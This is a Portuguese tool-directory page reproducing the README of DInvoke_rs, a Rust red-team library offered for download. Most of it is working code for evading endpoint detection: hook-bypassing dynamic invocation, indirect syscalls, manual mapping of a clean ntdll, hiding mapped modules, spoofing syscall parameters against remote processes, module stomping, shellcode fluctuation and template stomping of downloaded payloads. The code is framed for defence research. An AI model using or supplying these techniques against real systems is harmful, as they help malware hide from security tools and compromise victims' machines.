Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
DInvoke_rs — Invoque dinamicamente código não gerenciado arbitrário | Kitploit
Ferramentas/GitHubGitHub/kudaes/dinvoke_rs
Evasão de IDS/IPSShellcodePós-ExploraçãoAnálise de BináriosRed TeamingDesenvolvimento de Payloads
GitHubkudaes/dinvoke_rs

DInvoke_rs

Invoque dinamicamente código não gerenciado arbitrário

Ver Repositório
36643há 1 mêsRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

DInvoke_rs

Porte Rust de Dinvoke. DInvoke_rs pode ser usado para muitos propósitos, como análise de PE, resolução dinâmica de funções exportadas, carregamento dinâmico de plugins PE em tempo de execução, evasão de hooks de API e muito mais.

Recursos:

  • Resolva e invoque dinamicamente APIs Windows não documentadas a partir do Rust.
  • Primitivas que permitem evasão estratégica de hooks de API.
  • Syscalls indiretos. Somente x64
  • Mapeie manualmente módulos PE do disco ou diretamente da memória.
  • Análise de cabeçalhos PE.
  • Mapeie módulos PE em seções apoiadas por módulos arbitrários no disco. Não é Opsec
  • Flutuação de módulos para ocultar PEs mapeados (com suporte a concorrência). Não é Opsec
  • Spoofing de parâmetros de syscall por meio de filtro de exceção + breakpoints de hardware. Somente x64
  • Module stomping e flutuação de shellcode.
  • Template stomping.

Créditos

Todos os créditos vão para os criadores da implementação original em C# desta ferramenta:

  • The Wover
  • FuzzySec (b33f)
  • cobbr

Conteúdo

  • Resolver função exportada
  • Invocar código não gerenciado dinamicamente
  • Executar syscall indireto
  • Mapear manualmente um PE do disco ou da memória
  • Sobrecarregar seção de memória
  • Flutuação de módulo
  • Usar breakpoints de hardware para falsificar parâmetros de syscall
  • Module stomping e flutuação de shellcode
  • Template stomping

Uso

Importe esta crate para o seu projeto adicionando a seguinte linha ao seu cargo.toml:```rust [dependencies] dinvoke_rs = "0.2.2"

root@kitploit:~
# Exemplos
## Resolvendo APIs Exportadas

O exemplo abaixo demonstra como usar DInvoke_rs para encontrar e chamar dinamicamente as exportações de uma DLL (neste caso, `ntdll.dll`).

1) Obtenha o endereço base da ntdll.
2) Use `get_function_address()` para encontrar uma exportação dentro de `ntdll.dll` pelo nome. Isso é feito percorrendo e analisando o EAT da DLL.
3) Você também pode encontrar uma exportação por ordinal chamando `get_function_address_by_ordinal()`.```rust

fn main() {

    // Dynamically obtain ntdll.dll's base address. 
    let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");

    if ntdll != 0 
    {
        println!("ntdll.dll base address is 0x{:X}", ntdll);
        
        // Dynamically obtain the address of a function by name.
        let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
        if nt_create_thread != 0
        {
            println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
        }

        // Dynamically obtain the address of a function by ordinal.
        let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
        if ordinal_8 != 0 
        {
            println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
        }
    }   
}

Invocando Código Não Gerenciado

No exemplo abaixo, usamos DInvoke_rs para chamar dinamicamente RtlAdjustPrivilege a fim de habilitar SeDebugPrivilege para o token do processo atual. Esse tipo de execução contornará quaisquer ganchos de API presentes no Win32. Além disso, não criará nenhuma entrada na Tabela de Endereços de Importação do PE final, dificultando a detecção do comportamento do PE sem executá-lo.```rust

fn main() {

root@kitploit:~
// Dynamically obtain ntdll.dll's base address. 
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");

if ntdll != 0 
{
    unsafe 
    {
        let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
        let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
        let privilege: u32 = 20; // This value matches with SeDebugPrivilege
        let enable: u8 = 1; // Enable the privilege
        let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
        let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
        let enabled: *mut u8 = std::mem::transmute(&e); 
        dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled); 

        match ret {
            Some(x) => 
            	if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
              	else { println!("[x] NTSTATUS == {:X}", x as u32); },
            None => panic!("[x] Error!"),
        }
    } 
}   

}

root@kitploit:~
## Executando syscall indireto
No próximo exemplo, usamos DInvoke_rs para executar o syscall correspondente à função `NtQueryInformationProcess`. Como a macro `execute_syscall!()` aloca e executa dinamicamente o shellcode necessário para realizar o syscall desejado, todos os hooks presentes em `ntdll.dll` são contornados. A memória alocada é liberada assim que o syscall retorna, evitando a presença permanente de páginas de memória com permissão de execução.```rust

use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};

fn main() {

    unsafe 
    {
        let function_type:NtQueryInformationProcess;
        let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
        let handle = GetCurrentProcess();
        let p = PROCESS_BASIC_INFORMATION::default();
        let process_information: PVOID = std::mem::transmute(&p); 
        let r = u32::default();
        let return_length: *mut u32 = std::mem::transmute(&r);
        dinvoke_rs::dinvoke::execute_syscall!(
            "NtQueryInformationProcess",
            function_type,
            ret,
            handle,
            0,
            process_information,
            size_of::<PROCESS_BASIC_INFORMATION>() as u32,
            return_length
        );

        let pbi: *mut PROCESS_BASIC_INFORMATION;
        match ret {
            Some(x) => 
                if x == 0 {
                    pbi = std::mem::transmute(process_information);
                    let pbi = *pbi;
                    println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
                },
            None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
        }  

    }
}

Mapeamento manual de PE

Neste exemplo, DInvoke_rs é usado para mapear manualmente uma cópia nova de ntdll.dll, sem nenhum hook de EDR. Então essa cópia nova de ntdll.dll pode ser usada para executar qualquer função desejada.

Este mapeamento manual também pode ser executado a partir da memória (use manually_map_module() nesse caso), permitindo realizar a clássica injeção de DLL reflexiva.```rust

use dinvoke_rs::data::PeMetadata;

fn main() {

root@kitploit:~
unsafe 
{

    let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();

    let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
    let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
    let privilege: u32 = 20; // This value matches with SeDebugPrivilege
    let enable: u8 = 1; // Enable the privilege
    let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
    let e = u8::default();
    let enabled: *mut u8 = std::mem::transmute(&e); 
    dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);

    match ret {
        Some(x) => 
            if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
            else { println!("[x] NTSTATUS == {:X}", x as u32); },
        None => panic!("[x] Error!"),
    }

}

}

root@kitploit:~
## Sobrecarga de seção de memória
No exemplo a seguir, o DInvoke_rs é usado para criar uma seção de memória com suporte a arquivo, sobrecarregando-a em seguida ao mapear manualmente um PE. Por padrão, a seção de memória apontará para um arquivo legítimo localizado em `%WINDIR%\System32\`, mas qualquer outro módulo isca pode ser usado.

Essa sobrecarga também pode ser executada mapeando um PE a partir da memória (como mostrado no exemplo a seguir), permitindo realizar a sobrecarga sem gravar o payload em disco.```rust

use dinvoke_rs::data::PeMetadata;

fn main() {

    unsafe 
    {

        let payload: Vec<u8> = your_download_function();

        // This will map your payload into a legitimate file-backed memory section.
        let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
        
        // Then any exported function of the mapped PE can be dynamically called.
        // Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
        let func_ptr:  unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
        let ret: Option<i32>; // The value that the called function will return
        let parameter1: i32 = 10;
        let parameter2: i32 = 20;
        dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);

        match ret {
            Some(x) => 
                println!("The function returned the value {}", x),
            None => panic!("[x] Error!"),
        }

    }
}

Flutuação de módulo

O DInvoke_rs permite ocultar PEs mapeados quando não estão em uso, dificultando a inspeção de memória por EDRs para detectar a presença de uma dll suspeita no seu processo.

Por exemplo, digamos que queremos mapear uma cópia nova de ntdll.dll para evadir hooks de EDR. Como dois ntdll.dll no mesmo processo podem ser considerados um comportamento suspeito, podemos mapear o ntdll e ocultá-lo sempre que não estivermos usando. Isso é muito semelhante à técnica de flutuação de shellcode, embora neste cenário possamos aproveitar o fato de estarmos mapeando um PE em uma seção de memória legítima com suporte de arquivo, de modo que podemos substituir o conteúdo do ntdll pelo conteúdo do módulo isca original para o qual a seção aponta.```rust

use dinvoke_rs::dmanager::Manager;

fn main() {

root@kitploit:~
unsafe 
{
    // The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios 
    let mut manager = Manager::new();

    // This will map ntdll.dll into a memory section pointing to cdp.dll. 
    // It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
    let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
    
    // This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
    // Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
    let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);

    // Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
    let _ = manager.map_module(overload.1);

    // After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
    let func_ptr:  unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
    let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
    let privilege: u32 = 20; // This value matches with SeDebugPrivilege
    let enable: u8 = 1; // Enable the privilege
    let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
    let e = u8::default();
    let enabled: *mut u8 = std::mem::transmute(&e); 
    dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);

    match ret {
        Some(x) => 
            if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); } 
            else { println!("[x] NTSTATUS == {:X}", x as u32); },
        None => panic!("[x] Error!"),
    }

    // Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
    let _ = manager.hide_module(overload.1);

}

}

root@kitploit:~
## Syscall parameters spoofing
Para fazer spoofing dos primeiros 4 parâmetros de uma syscall, o DInvoke_rs possui suporte para breakpoints de hardware em combinação com manipuladores de exceção. Isso permite enviar parâmetros não maliciosos para uma função NT e, após o EDR inspecioná-los, eles são substituídos pelos parâmetros originais antes que a instrução syscall seja executada. Para mais informações, consulte o repositório onde a ideia original surgiu: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls).

Por enquanto, esse recurso está implementado para as funções `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` e `NtCreateThreadEx`. Para usá-lo, basta ativar o recurso, definir o manipulador de exceção e chamar a função desejada por meio do Dinvoke.```rust

use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};

fn main() {

    unsafe
    {
        // We active the use of hardware breakpoints to spoof syscall parameters
        dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
        // We get the memory address of our function and set it as a VEH
        let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
        dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);

        let h = HANDLE {0: -1 as _};
        let handle: *mut HANDLE = std::mem::transmute(&h);
        let access = THREAD_ALL_ACCESS; 
        let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
        let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
        // We set the PID of the remote process 
        let remote_pid = 472isize;
        let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
        let client_id: *mut ClientId = std::mem::transmute(&c);
        // A call to NtOpenProcess is performed through Dinvoke. The parameters will be
        // automatically spoofed by the function and restored to the original values
        // before executing the syscall.
        let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);

        println!("NTSTATUS: {:x}", ret);

        dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
    }
}

Module stomping and Shellcode fluctuation

A crate overload do Dinvoke_rs agora permite realizar module stomping ao chamar a função managed_module_stomping(). O primeiro parâmetro desta função é o conteúdo do shellcode. Os outros dois parâmetros modificam o comportamento da função, permitindo três caminhos de execução diferentes, comentados abaixo.

Na minha opinião, a melhor forma de usar esta função é carregar uma dll legítima no processo e permitir que o Dinvoke determine um bom local nessa dll para sobrescrever seu shellcode nela. Isso é feito passando o endereço base da dll como o terceiro parâmetro de managed_module_stomping(). O segundo argumento deve ser zero. Ao fazer isso, o Dinvoke iterará sobre os dados de exceção da dll procurando por uma função legítima grande o suficiente para sobrescrever o shellcode nela.```rust let payload_content = download_function(); let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll"); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);

match module { Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1), Err(e) => println!("An error has occurred: {}", e),
}

root@kitploit:~
Você também pode especificar a localização exata onde o shellcode deve ser stomped, passando o endereço de memória como segundo parâmetro:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);

match module {
     Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
     Err(e) => println!("An error has occurred: {}", e),      
}

Por fim, você pode permitir que o Dinvoke decida automaticamente o endereço onde o shellcode será stomped. Isso é feito iterando sobre os dados de exceção de todos os módulos carregados até encontrar uma função adequada. Esta opção pode trazer comportamentos inesperados, então eu realmente não a recomendo a menos que você não tenha outra opção.```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);

match module { Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1), Err(e) => println!("An error has occurred: {}", e),
}

root@kitploit:~
Uma vez que o shellcode foi sobrescrito, você pode usar o crate `dmanager` para ocultar/sobrescrever novamente o seu shellcode, permitindo realizar a flutuação do shellcode:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
 ... 
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again

Template stomping

Template stomping é uma derivação da técnica de module stomping adaptada especificamente para DLLs. Atualmente, esta técnica só permite carregar uma DLL no processo atual; processos remotos não são suportados.

O principal objetivo é criar um template a partir de uma DLL, substituindo o conteúdo da seção .text por dados arbitrários, permitindo gravar o template em disco sem gerar alertas. Este template é elaborado de forma que possa ser carregado no processo chamando LoadLibrary. Em seguida, o conteúdo original da seção .text pode ser baixado diretamente para a memória do processo e sobreposto (stomped) na região de memória correspondente do template. Esta técnica pode ser executada de forma eficaz usando duas funções principais: generate_template e template_stomping.

A função generate_template é projetada para criar o template a partir da DLL original, extraindo o conteúdo da seção .text e substituindo-o por dados arbitrários. Isso garante que o template mantenha sua estrutura, mas não contenha código executável significativo, exceto pelos entry points e TLS callbacks, que são substituídos por instruções de assembly fictícias, porém funcionais. O conteúdo original da seção .text é salvo separadamente em payload.bin, e o arquivo de template final é salvo em template.dll.```rust fn main () { let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory"); match template { Ok(()) => { println!("Template successfully generated.");} Err(x) => { println!("Error ocurred: {x}");} } }

root@kitploit:~
Em seguida, o template pode ser salvo em disco no **sistema alvo** e carregado no processo atual por meio da chamada `LoadLibrary`. Depois que o template for carregado pelo SO, o próximo passo envolve fazer stomping do conteúdo executável original armazenado em `payload.bin` na seção `.text` do template. Esse processo é realizado pela função `template_stomping`, que aplica o stomping do conteúdo executável original na região de memória correta, cuidando de todos os detalhes envolvidos no processo.```rust

fn main ()
{  
    unsafe
    {
        let mut payload = http_download_payload(); // Download payload.bin content directly to memory
        let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
        println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);

        let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
        let function: extern "system" fn() = std::mem::transmute(function_ptr);
        function();
    }
}

Esta técnica permite carregar uma DLL em regiões de memória com suporte a disco sem escrever o conteúdo executável real no sistema de arquivos (eliminando a necessidade de regiões de memória privadas e evadindo a análise estática/dinâmica do EDR) e também permite manter uma pilha de chamadas limpa durante a execução do código da DLL, ao contrário do que acontece quando carregamos uma DLL de forma reflexiva.

Baixar ferramenta